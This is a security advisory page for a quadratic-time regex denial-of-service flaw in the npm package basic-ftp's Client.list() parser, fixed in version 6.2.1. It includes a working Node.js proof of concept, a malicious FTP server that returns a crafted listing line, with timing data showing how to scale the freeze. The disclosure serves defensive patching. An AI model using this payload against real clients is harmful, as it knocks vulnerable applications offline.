GHSA-C475-QRG2-PJ4R
Vulnerability from github – Published: 2026-10-01 14:42 – Updated: 2026-10-01 14:42
VLAI
Summary
basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)
Details
Summary
Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE_LINE regex has two adjacent (\S+(?:\s\S+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.
The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.
Proof of concept
npm i basic-ftp && node repro.js:
const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
c.on("data", d => { buf += d; let i;
while ((i = buf.indexOf("\r\n")) !== -1) {
const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
if (cmd.startsWith("USER")) c.write("331 .\r\n");
else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
const client = new ftp.Client(0);
await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
await client.list(); clearInterval(hb);
console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
process.exit(0);
});
Prints list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.
Impact
One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.0"
},
"package": {
"ecosystem": "npm",
"name": "basic-ftp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102990"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T14:42:42Z",
"nvd_published_at": "2026-09-30T20:17:26Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Client.list()` parses the server\u0027s directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\\S+(?:\\s\\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n\u00b2) in the line\u0027s length.\n\nThe server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.\n\n## Proof of concept\n\n`npm i basic-ftp \u0026\u0026 node repro.js`:\n\n```js\nconst net = require(\"net\"), ftp = require(\"basic-ftp\");\nconst KB = Number(process.env.LINE_KB || 128);\nconst payload = \"-rw-r--r-- 1 \" + \"a \".repeat((KB * 1024 - 13) / 2) + \"!\";\nconst listing = payload + \"\\r\\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\\r\\n\";\nconst server = net.createServer(c =\u003e {\n c.setEncoding(\"latin1\"); c.write(\"220 ok\\r\\n\"); let buf = \"\";\n c.on(\"data\", d =\u003e { buf += d; let i;\n while ((i = buf.indexOf(\"\\r\\n\")) !== -1) {\n const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);\n if (cmd.startsWith(\"USER\")) c.write(\"331 .\\r\\n\");\n else if (cmd.startsWith(\"PASS\")) c.write(\"230 .\\r\\n\");\n else if (cmd.startsWith(\"FEAT\")) c.write(\"211-x\\r\\n UTF8\\r\\n211 End\\r\\n\");\n else if (cmd.startsWith(\"EPSV\")) { const ds = net.createServer(s =\u003e { s.write(listing); s.end(); });\n ds.listen(0, \"127.0.0.1\", () =\u003e c.write(`229 (|||${ds.address().port}|)\\r\\n`)); }\n else if (cmd.startsWith(\"LIST\")) { c.write(\"150 .\\r\\n\"); setTimeout(() =\u003e c.write(\"226 .\\r\\n\"), 50); }\n else c.write(\"200 .\\r\\n\"); } });\n});\nserver.listen(0, \"127.0.0.1\", async () =\u003e {\n const client = new ftp.Client(0);\n await client.access({ host: \"127.0.0.1\", port: server.address().port, user: \"x\", password: \"y\" });\n let beats = 0; const hb = setInterval(() =\u003e beats++, 1000); const t = Date.now();\n await client.list(); clearInterval(hb);\n console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);\n process.exit(0);\n});\n```\n\nPrints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB \u2248 2.4s, 64 KB \u2248 9.6s, 128 KB \u2248 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.\n\n## Impact\n\nOne directory listing freezes the whole process, under default options, through the primary API. This is the same \"malicious FTP server causes client-side denial of service\" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser\u0027s CPU cost.",
"id": "GHSA-c475-qrg2-pj4r",
"modified": "2026-10-01T14:42:43Z",
"published": "2026-10-01T14:42:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-c475-qrg2-pj4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102990"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/commit/d0d9e07c56e519587bb50532ac6eadbb0cb0cfe9"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickjuchli/basic-ftp"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…